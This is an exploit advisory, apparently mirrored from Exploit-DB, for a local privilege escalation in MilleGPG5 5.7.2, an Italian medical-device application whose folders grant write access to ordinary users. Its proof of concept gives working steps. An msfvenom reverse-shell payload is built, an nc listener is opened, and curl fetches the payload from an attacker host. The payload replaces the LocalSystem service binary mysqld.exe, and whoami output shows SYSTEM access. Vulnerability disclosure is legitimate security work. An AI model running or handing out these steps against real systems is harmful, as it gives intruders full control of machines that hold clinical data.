MilleGPG5 5.7.2 Luglio 2021 – Local Privilege Escalation

  • 作者: Alessandro Salzano
    日期: 2021-12-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50558/
  • # Exploit Title: MilleGPG5 5.7.2 Luglio 2021 (x64) - Local Privilege Escalation
    # Date: 2021-07-19
    # Author: Alessandro 'mindsflee' Salzano
    # Vendor Homepage: https://millegpg.it/
    # Software Homepage: https://millegpg.it/
    # Software Link: https://www.millegpg.it/download/MilleGPGInstall.exe
    # Version: 5.7.2
    # Tested on: Microsoft Windows 10 Enterprise x64
    
    MilleGPG5 is a Class 1 Medical Device registered with "Ministero della Salute".
    
    Vendor: Millennium S.r.l. / Dedalus Group / Dedalus Italia S.p.a.
    
    Affected version: MilleGPG5 5.7.2
    
    # Details
    # By default the Authenticated Users group has the modify permission to MilleGPG5 folders/files as shown below.
    # A low privilege account is able to rename the mysqld.exe file located in bin folder and replace
    # with a malicious file that would connect back to an attacking computer giving system level privileges
    # (nt authority\system) due to the service running as Local System.
    # While a low privilege user is unable to restart the service through the application, a restart of the
    # computer triggers the execution of the malicious file.
    
    (1) Impacted services.
    Any low privileged user can elevate their privileges abusing these services:
    
    C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe
    C:\Program Files\MilleGPG5\GPGService.exe
    
    
    Details:
    
    
    SERVICE_NAME: MariaDB-GPG
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : "C:\Program
    Files\MilleGPG5\MariaDB\bin\mysqld.exe" MariaDB-GPG
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : MariaDB-GPG
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    ------
    
    SERVICE_NAME: GPGOrchestrator
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : "C:\Program Files\MilleGPG5\GPGService.exe"
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : GPG Orchestrator
    DEPENDENCIES :
    SERVICE_START_NAME : LocalSystem
    
    (2) Folder permissions.
    Insecure folders permissions issue:
    
    
    C:\Program Files\MilleGPG5\MariaDB\bin BUILTIN\Users:(I)(OI)(CI)(F)
     NT SERVICE\TrustedInstaller:(I)(F)
     NT
    SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
     NT AUTHORITY\SYSTEM:(I)(F)
     NT
    AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
    BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
    BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
     CREATOR OWNER:(I)(OI)(CI)(IO)(F)
     APPLICATION PACKAGE
    AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE
    AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
     APPLICATION PACKAGE
    AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE
    AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
    ...[SNIP]...
    ---------------
    
    C:\Program Files\MilleGPG5 BUILTIN\Users:(OI)(CI)(F)
     NT SERVICE\TrustedInstaller:(I)(F)
     NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
     NT AUTHORITY\SYSTEM:(I)(F)
     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
     BUILTIN\Administrators:(I)(F)
    BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
     BUILTIN\Users:(I)(RX)
     BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
     CREATOR OWNER:(I)(OI)(CI)(IO)(F)
     APPLICATION PACKAGE AUTHORITY\ALL
    APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE AUTHORITY\ALL
    APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
    APPLICATION PACKAGES:(I)(RX)
     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED
    APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
    
    
    # Proof of Concept
    
    1. Generate malicious .exe on attacking machine
    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe
    
    2. Setup listener and ensure apache is running on attacking machine
    nc -lvp 4242
    service apache2 start
    
    3. Download malicious .exe on victim machine
    type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\Program Files\MilleGPG5\MariaDB\bin\mysqld_evil.exe"
    
    4. Overwrite file and copy malicious .exe.
    Renename C:\Program Files\MilleGPG5\MariaDB\bin\mysqld.exe > mysqld.bak
    Rename downloaded 'mysqld_evil.exe' file in mysqld.exe
    
    5. Restart victim machine
    
    6. Reverse Shell on attacking machine opens
    C:\Windows\system32>whoami
    whoami
    nt authority\system